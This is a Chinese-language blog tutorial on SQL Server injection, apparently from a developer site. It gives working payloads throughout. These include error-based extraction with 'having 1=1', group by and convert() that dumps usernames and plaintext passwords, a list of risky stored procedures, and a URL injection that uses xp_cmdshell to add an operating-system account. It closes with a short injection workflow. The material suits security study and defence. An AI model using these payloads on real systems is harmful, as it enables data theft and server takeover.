24.注入篇————Sql server数据库注入

前言

攻击者对于数据库注入,无非是想利用数据库获取更多的数据或者更大的权限,那么利用方式可以归纳为以下几种:

  • 查询数据
  • 读写文件
  • 执行命令

利用错误消息提取信息

Sql server数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发人员来说来说,这是一件十分美好的事情,对攻击者来说也是一件十分美好的事情,因为攻击者可以通过错误消息提取数据。

(1)枚举当前表及列

查询root用户的详细信息,SQL语句如下:

select * from users where username='root' 

利用SQL server特性来获取敏感信息,例如:

' having 1=1 --

最终执行SQL语句:

select * from users where username='root' and password='root' having 1=1 --

那么sql执行器将会抛出一个错误(因为版本的问题,显示的错误信息也不尽相同)

消息 8120,级别 16,状态1,第2行

选择列表中的列“users.id”无效,因为该列灭有包含在聚合函数或Group by子句中。

由此可以发现当前表名为users,并且存在“id”列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:

select * from  users  where username="root" and password='root' group by users.id having 1=1 --

执行器提示错误信息:

消息 8120,级别16,状态1,第一行

选择列表中的列'users.username'无效,因为该列没有包含在聚合函数或group by字句中。

可以看到执行器又抛出了“username”列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having字句“查询”出单前表中的所有列名。

(2)利用数据类型错误提前数据

如果试图将一个字符串与非字符串比较,或者将一个字符串装换为另外一个不兼容的类型时,那么SQL编辑器将会抛出错误异常,例如:

select * from  users where username='root' and password='root'  and 1>(select top 1 username from users)

执行器错误提示:

消息245,级别16,状态1,第二行

在将varchar值“root”转换成数据类型int时失败。

可以发现root账户已经被SQL server给“出卖”了,利用此方法可以递归推导出所有的账户信息:

select * from users where username ='root' and  password='root' and 1>(select top 1 username from users where username not in ('root'))
如果不嵌入子查询,也可以使数据库报错,这就用到了Sql server的内置函数CONVERT或者CASE函数,这两个函数的作用是:将一种数据类型装换为另外一种数据类型。输入入校SQL语句:
select * from users where username ='root' and  password='root' and 1=convert(int,(select top 1 users.username from users ))

如果感觉递归比较麻烦,可以通过使用For XML PATH语句将查询的数据生成XML,SQL语句如下:

select * from users where username ='root' and  password='root' and 1=convert(int,(select stuff((select ','+users.username,'|'+users.password from users for xml path('')),1,1,'')))

执行器抛出异常:

消息245,级别16,状态1 ,第一行

在将nvarchar值“root|root,admin|admin,xxser|xxser”转换成数据类型int时失败。

Sql server常见数据表

数据库试图

说明

sys.databaseSQL server中的所有数据库
sys.sql_loginsSQL server中的所有登录名
information_schema.tables当前用户数据库中的表
information_schema.columns当前用户数据库中的列
sys.all_collumns用户定义对象和系统对象的所有列的联合
sys.database_principals数据库中每个权限或列异常权限
sys.database_files存储在数据库中的数据库文件
sysobjects数据库中创建的每个对象(例如约束、日志以及存储过程)

SQL server常用函数

函数说明
stuff字符串截取函数
ascii取ASCII码
char根据ASCII码取字符
getdate返回日期
count放回组中的总条数
cast将一种数据类型的表达式显示转换为另外一种数据类型的表达式
rand返回随机值
is_srvrolemember指示SQL server登录名是否为指定服务器角色成员

SQLserver中的存储过程

过程说明
sp_addlogin创建新的SQL server登录,该登录运行用户使用SQL server身份验证连接到SQL server实例
sp_dropuser从当前数据库中删除数据库用户
xp_enumgroups提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表
xp_regwrite未被公布的存储过程,,写入注册表
xp_regread读取注册表
xp_regdeletevalue删除注册表
xp_dirtree读取目录
sp_password更改密码
xp_servicecontrol停止或激活某服务
注:

存储过程在大型数据库系统中为了完成特定功能的一组SQL"函数"。如,执行系统命令、查看注册表、读取磁盘目录等。

攻击者最常用的存储过程就是“xp_cmdshell”,这个存储过程允许用户执行操作系统命令,例如:http://xxx.xxx.xx.xx/test.asp?id=1存在注入点,那么攻击者就可以实施命令攻击:

http://xxx.xxx.xx.xx/test.asp?id=1;exec xp_cmdshell 'net user test test/add'

攻击者可以直接利用xp_cmdshell操纵服务器。

但是,并不是任何数据库用户都可以使用此类存储过程,用户必须持有Control server 权限。

Sql server数据库注入流程

(1)判断是否存在注入

'

and 1=1

and 1=2

(2)猜解字段数

order by 字段数       

(3)获得精确定位

(4)查询数据库名、表名、字段名、列名、列值

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值